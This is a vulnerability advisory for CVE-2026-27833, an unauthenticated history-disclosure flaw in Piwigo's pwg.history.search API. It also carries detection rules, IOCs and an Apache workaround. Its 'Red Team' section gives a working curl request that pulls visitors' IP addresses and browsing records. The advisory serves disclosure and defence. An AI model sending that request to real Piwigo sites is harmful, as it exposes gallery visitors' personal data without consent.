CVE-2026-27833

Executive Summary

CVE-2026-27833 is a critical information disclosure vulnerability in Piwigo, an open-source photo gallery application. The flaw resides in the pwg.history.search API method, which is registered without the admin_only flag. This allows any unauthenticated attacker to query the full browsing history of all gallery visitors, including timestamps, IP addresses, user agents, and accessed resources. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched in versions prior to 16.3.0. No public proof-of-concept or exploit code has been released, but the attack vector is trivial to execute via a simple HTTP request.

Supply Chain & Package Security

Piwigo is a PHP-based application distributed via its official website and GitHub. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the core application code. Users should verify the integrity of their Piwigo installation and ensure they are running version 16.3.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, making it a high-priority target for threat actors. The primary risk is the exposure of sensitive user activity logs, which can be used for reconnaissance, profiling, or further attacks.

Deep Dive & Mechanics

The pwg.history.search API endpoint is part of Piwigo's web services layer, designed to allow administrators to search and review visitor history. In vulnerable versions, the method is registered in the API without the admin_only parameter set to true. This means the endpoint is accessible to any user, including unauthenticated visitors.

The API method accepts parameters such as start, per_page, order, and various filters (e.g., date, user_id, image_id). An attacker can craft a simple HTTP POST or GET request to /ws.php?format=json&method=pwg.history.search and retrieve the history data in JSON format.

The exposed data includes:

• date: Timestamp of the visit
• user_id: Internal user ID (0 for anonymous)
• remote_addr: IP address of the visitor
• user_agent: Browser user agent string
• image_id: ID of the viewed image
• section: Gallery section accessed

This information can be used to map user behavior, identify administrators (by user_id), and potentially correlate with other attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Piwigo < 16.3.0): In the file include/ws_functions/pwg.history.php, the method registration lacks the admin_only flag:

$service->addMethod('pwg.history.search', 'ws_history_search', array(
    'start' => array('default' => 0),
    'per_page' => array('default' => 100),
    'order' => array('default' => 'date DESC'),
    // ... other parameters
));

Patched Code (Piwigo 16.3.0): The fix adds 'admin_only' => true to the method registration:

$service->addMethod('pwg.history.search', 'ws_history_search', array(
    'admin_only' => true,
    'start' => array('default' => 0),
    'per_page' => array('default' => 100),
    'order' => array('default' => 'date DESC'),
    // ... other parameters
));

This ensures that only authenticated administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Piwigo instance (version < 16.3.0)
• Network access to the target

Exploitation Steps:

1. Identify the Piwigo instance (e.g., via Shodan or manual browsing).
2. Send a request to the API endpoint:

curl -X POST "http://target/ws.php?format=json&method=pwg.history.search" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "start=0&per_page=10&order=date%20DESC"

3. Parse the JSON response to extract visitor history.

Example Response:

{
  "stat": "ok",
  "result": {
    "history": [
      {
        "date": "2026-03-15 14:23:45",
        "user_id": 0,
        "remote_addr": "192.168.1.100",
        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "image_id": 42,
        "section": "categories"
      }
    ],
    "paging": {
      "total": 5000,
      "start": 0,
      "per_page": 10
    }
  }
}

Blue Team

Detection:

• Monitor for requests to /ws.php with the method=pwg.history.search parameter from unauthenticated sources.
• Alert on unusual spikes in API calls to this endpoint.
• Correlate with IP addresses that are not in the admin whitelist.

Hunting:

• Search logs for the string pwg.history.search in web server access logs.
• Look for requests with format=json and method=pwg.history.search from IPs that have not authenticated.

Honeypot:

• Deploy a fake Piwigo instance and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /ws.php with method=pwg.history.search parameter
  • JSON responses containing "history" array with visitor data
• File:
  • Access logs showing repeated requests to /ws.php with the vulnerable method
• Behavioral:
  • Unauthenticated users querying history API
  • Large number of API calls from a single IP in a short time

Detection Engineering

YARA Rule

rule CVE_2026_27833_Piwigo_History_Disclosure {
    meta:
        description = "Detects exploitation attempts of CVE-2026-27833 in Piwigo"
        author = "Valters IT"
        date = "2026-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-27833"
    strings:
        $api_method = "pwg.history.search"
        $json_format = "format=json"
        $ws_php = "/ws.php"
    condition:
        all of them
}

Sigma Rule

title: Piwigo History API Unauthenticated Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to the pwg.history.search API in Piwigo
author: Valters IT
date: 2026-03-15
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'method=pwg.history.search'
            - 'format=json'
    condition: selection
falsepositives:
    - Legitimate admin API calls (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-27833 Piwigo History API Unauthenticated Access"; flow:to_server; content:"/ws.php"; http_uri; content:"method=pwg.history.search"; http_uri; content:"format=json"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Piwigo to version 16.3.0 or later.
2. If upgrade is not possible, apply a virtual patch by blocking requests to /ws.php with method=pwg.history.search from unauthenticated users via web application firewall (WAF) rules.

Long-term:

1. Implement strict API access controls for all administrative methods.
2. Regularly audit API method registrations for missing admin_only flags.
3. Monitor for similar vulnerabilities in other Piwigo API endpoints.

Workaround:

• Add the following rule to your web server configuration (Apache example):

RewriteEngine On
RewriteCond %{QUERY_STRING} method=pwg\.history\.search [NC]
RewriteRule ^/ws\.php - [F,L]

Valters IT
Securing Digital Frontiers